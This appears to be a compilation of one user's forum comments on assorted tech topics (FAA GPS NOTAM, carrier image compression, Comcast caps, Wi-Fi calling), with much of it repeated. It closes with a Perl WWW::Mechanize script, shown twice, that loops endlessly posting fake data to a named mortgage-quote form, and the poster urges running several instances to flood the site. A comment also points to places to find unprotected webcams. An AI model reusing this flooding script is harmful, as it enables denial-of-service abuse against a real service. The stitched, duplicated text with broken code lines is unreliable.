Anyone know why the FAA specifically mentions the Embraer Phenon 300?
From the FAA NOTAM: (it's in all caps in the NOTAM)
ADDITONALLY, DUE TO GPS INTERFERENCE IMPACTS POTENTIALLY AFFECTING EMBRAER PHENOM
300 AIRCRAFT FLIGHT STABILITY CONTROLS, FAA RECOMMENDS EMB PHENOM
PILOTS AVOID THE ABOVE TESTING AREA AND CLOSELY MONITOR FLIGHT
CONTROL SYSTEMS DUE TO POTENTIAL LOSS OF GPS SIGNAL.
Roku is taking steps to license their OS to TV manufacturers.
http://cordcutting.com/intervi...
TV manufacturers should concentrate on what they do best and build TV's and leave the OS to someone who's in the business of making software.
I'd like to see a site that's capable of testing the peering throughput of a given ISP. As opposed to running a single speed test, it'd run run multiple tests consecutively via servers on different networks.
Take the Verizon fiasco recently where they had a saturated link to Level 3 that affected Netflix. A peering test would be capable of highlighting this sort of thing.
Nothing is 100%. Something WILL go wrong. As each day passes without incident the probability of something going wrong increases. I'm all for nuclear power, but, the cost of a nuclear disaster has to be considered.
Simply saying we can build it safe means nothing. Something WILL go wrong.
I was surprised to find that a CD I purchased back in 2001 had been added to my Amazon Cloud MP3 library a couple of days ago. I've long since lost the CD so this is great news as far as I'm concerned.
Most if not all cell phone manufactures utilize the industry standard micro USB for charging. If I ever decide to purchase an iPhone I'll have to "throw away" my old charging accessories that work with 99% of phones on the market today and "buy new Apple approved charging accessories".
At what point do you decide that gun related violence and crime outweigh the cost of liberty?
The gun related deaths are a necessary evil that come along with having the means to rise up and overthrow an oppressive government. You might say it'll never happen. If history is any indication I'm not willing to gamble.
I tether often, and I don't notice this on pages loaded on the tethered PC. It must be a forced proxy they have set up in the stock browser?
It doesn't matter if you're using the stock browser or not. In the past you used to be able to switch to a different APN (internet2.voicestream.com, internet3.voicestream.com) and avoid the compression. I've heard that modifying the headers with a Firefox addon get's around the issue but I haven't tried it.
I personally connect to my router at home via PPTP on my android to get around the compression.
If you're curious if your carrier is molesting your images, download the same image over cellular and wifi and compare the size of the two.
This has the potential to further the spread of HIV. Someone who might otherwise get tested by a professional may opt for this test and consider themselves negative and proceed to have unprotected sex.
Set up some cones on street in say a sharp s-turn shape that no drunk person could possibly navigate. If you fail to drive through without knocking down a cone or two, you've got your probable cause.
Cute, but if you were to y'know... ACTUALLY CHECK WITH COMCAST, you'll find there is no such thing.
Comcast does offer a "no cap service". According to the Comcast business rep I talked with, Comcast business accounts are exempt from the bandwidth caps. And yes, if your willing to pay for it, they will gladly setup a business account at a residential address.
For the 50mb/10mb service you can expect to pay $100+ more than the standard residential 50mb/10mb package.
I am by no means a programmer. I know just enough PERL to write a few scripts here and there.
I don't understand why building a program that stores result of whether someone pressed option 1 or option 2 is so difficult. Couldn't this be done with less than 100 lines of code? It doesn't make sense to me.
First off, the article is flat wrong, I can use my Nokia 6136 on ANY WiFI I want. I am not limited to just t-mobile hotspots. I roam all over the country and latch on to different WiFi networks without a problem. The SSID "linksys" is my friend.
I get unlimited WiFi calls and it seamlessly switches to GSM when I leave the WiFi area. One thing nice is, if I start a call on WiFi and roam to GSM, it's still billed as a WiFi call.
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Anyone know why the FAA specifically mentions the Embraer Phenon 300?
From the FAA NOTAM: (it's in all caps in the NOTAM)
ADDITONALLY, DUE TO GPS INTERFERENCE IMPACTS POTENTIALLY AFFECTING EMBRAER PHENOM 300 AIRCRAFT FLIGHT STABILITY CONTROLS, FAA RECOMMENDS EMB PHENOM PILOTS AVOID THE ABOVE TESTING AREA AND CLOSELY MONITOR FLIGHT CONTROL SYSTEMS DUE TO POTENTIAL LOSS OF GPS SIGNAL.
Roku is taking steps to license their OS to TV manufacturers. http://cordcutting.com/intervi... TV manufacturers should concentrate on what they do best and build TV's and leave the OS to someone who's in the business of making software.
Imagine with the likes of Facebook and other government agencies have at their disposal.
I'd like to see a site that's capable of testing the peering throughput of a given ISP. As opposed to running a single speed test, it'd run run multiple tests consecutively via servers on different networks. Take the Verizon fiasco recently where they had a saturated link to Level 3 that affected Netflix. A peering test would be capable of highlighting this sort of thing.
Nothing is 100%. Something WILL go wrong. As each day passes without incident the probability of something going wrong increases. I'm all for nuclear power, but, the cost of a nuclear disaster has to be considered. Simply saying we can build it safe means nothing. Something WILL go wrong.
Anyone who hasn't seen the spandex analogy have a look at this YouTube Video.
I was surprised to find that a CD I purchased back in 2001 had been added to my Amazon Cloud MP3 library a couple of days ago. I've long since lost the CD so this is great news as far as I'm concerned.
Do you really think if an electronic device was capable of taking down an aircraft they'd allow you to take it on board?
Most if not all cell phone manufactures utilize the industry standard micro USB for charging. If I ever decide to purchase an iPhone I'll have to "throw away" my old charging accessories that work with 99% of phones on the market today and "buy new Apple approved charging accessories".
At what point do you decide that gun related violence and crime outweigh the cost of liberty? The gun related deaths are a necessary evil that come along with having the means to rise up and overthrow an oppressive government. You might say it'll never happen. If history is any indication I'm not willing to gamble.
There is always opentopia.com where a simple right click, view source on the camera image will glean many unprotected webcams.
There is always public webcam sites where a simple right click copy image source will glean countless unprotected camera's.
I tether often, and I don't notice this on pages loaded on the tethered PC. It must be a forced proxy they have set up in the stock browser?
It doesn't matter if you're using the stock browser or not. In the past you used to be able to switch to a different APN (internet2.voicestream.com, internet3.voicestream.com) and avoid the compression. I've heard that modifying the headers with a Firefox addon get's around the issue but I haven't tried it. I personally connect to my router at home via PPTP on my android to get around the compression. If you're curious if your carrier is molesting your images, download the same image over cellular and wifi and compare the size of the two.
This has the potential to further the spread of HIV. Someone who might otherwise get tested by a professional may opt for this test and consider themselves negative and proceed to have unprotected sex.
The only downside to T-mobile is that they compress all images to save bandwidth.
Here's a YouTube video tour of the process: http://www.youtube.com/watch?v=X2Eu-kY0JVk
Set up some cones on street in say a sharp s-turn shape that no drunk person could possibly navigate. If you fail to drive through without knocking down a cone or two, you've got your probable cause.
And frankly, next trip, I will just go through the damn scanner.
I beg you to reconsider, if not for you, than do it for me.
Cute, but if you were to y'know... ACTUALLY CHECK WITH COMCAST, you'll find there is no such thing.
Comcast does offer a "no cap service". According to the Comcast business rep I talked with, Comcast business accounts are exempt from the bandwidth caps. And yes, if your willing to pay for it, they will gladly setup a business account at a residential address. For the 50mb/10mb service you can expect to pay $100+ more than the standard residential 50mb/10mb package.
I am by no means a programmer. I know just enough PERL to write a few scripts here and there. I don't understand why building a program that stores result of whether someone pressed option 1 or option 2 is so difficult. Couldn't this be done with less than 100 lines of code? It doesn't make sense to me.
I personally use a BlackBerry Curve. I can load anything I want on it. I speak with my wallet by not buying an iphone.
With so many antidepressants on the market I never have a shortage of server names. Prozac, Paxil, Zoloft, Cymbalta, Effexor......
First off, the article is flat wrong, I can use my Nokia 6136 on ANY WiFI I want. I am not limited to just t-mobile hotspots. I roam all over the country and latch on to different WiFi networks without a problem. The SSID "linksys" is my friend. I get unlimited WiFi calls and it seamlessly switches to GSM when I leave the WiFi area. One thing nice is, if I start a call on WiFi and roam to GSM, it's still billed as a WiFi call.
OOPS....here is what I meant.....
p hone_prefix,hphone_suffix,wphone_area,wphone_prefi x,wphone_suffix,email,amount,propvalue,loantype,pr oplocation,creditrating,proptype,propuse,propzip" );
#!/usr/bin/perl
$loop = "1";
$a = "1";
use WWW::Mechanize;
while ($loop > 0){
$a++;
use WWW::Mechanize;
my $mech = WWW::Mechanize->new();
$mech->get( "http://finale.savagequote.com/?name=vn" );
$mech->success or die $mech->response->status_line;
$mech->form_number ( 1 );
$mech->field ( data_order => "fname,lname,address,city,state,zip,hphone_area,h
$mech->field ( partid => "vn" );
$mech->field ( fname => "You" );
$mech->field ( lname => "Spammedme" );
$mech->field ( address => "Stop spamming me" );
$mech->field ( city => "Spammers" );
$mech->field ( state => "DC" );
$mech->field ( zip => "35879" );
$mech->field ( email => "yousapmmed\@me.com" );
$mech->field ( hphone_area => "888" );
$mech->field ( hphone_prefix => "333" );
$mech->field ( hphone_suffix => "5555" );
$mech->field ( creditrating => "1" );
$mech->field ( homeowner => "1" );
$mech->field ( homevalue => "1025000" );
$mech->field ( propertytype => "1" );
$mech->field ( mortgage1 => "47500" );
$mech->field ( currentinterestrate => "14.25" );
$mech->field ( loanamountdesired => "1025000" );
$mech->field ( loanpurpose => "7" );
$mech->field ( submit => "Get Quoted" );
$mech->submit();
$mech->success or die "post failed: ",
$mech->response->status_line;
}
How about something like this: #!/usr/bin/perl $loop = "1"; $a = "1"; use WWW::Mechanize; while ($loop > 0){ $a++; use WWW::Mechanize; my $mech = WWW::Mechanize->new(); $mech->get( "http://finale.savagequote.com/?name=vn" ); $mech->success or die $mech->response->status_line; $mech->form_number ( 1 ); $mech->field ( data_order => "fname,lname,address,city,state,zip,hphone_area,hp hone_prefix,hphone_suffix,wphone_area,wphone_prefi x,wphone_suffix,email,amount,propvalue,loantype,pr oplocation,creditrating,proptype,propuse,propzip" );
$mech->field ( partid => "vn" );
$mech->field ( fname => "You" );
$mech->field ( lname => "Spammedme" );
$mech->field ( address => "Stop spamming me" );
$mech->field ( city => "Spammers" );
$mech->field ( state => "DC" );
$mech->field ( zip => "35879" );
$mech->field ( email => "yousapmmed\@me.com" );
$mech->field ( hphone_area => "888" );
$mech->field ( hphone_prefix => "333" );
$mech->field ( hphone_suffix => "5555" );
$mech->field ( creditrating => "1" );
$mech->field ( homeowner => "1" );
$mech->field ( homevalue => "1025000" );
$mech->field ( propertytype => "1" );
$mech->field ( mortgage1 => "47500" );
$mech->field ( currentinterestrate => "14.25" );
$mech->field ( loanamountdesired => "1025000" );
$mech->field ( loanpurpose => "7" );
$mech->field ( submit => "Get Quoted" );
$mech->submit();
$mech->success or die "post failed: ",
$mech->response->status_line;
}
Run severl instances of somthing like that......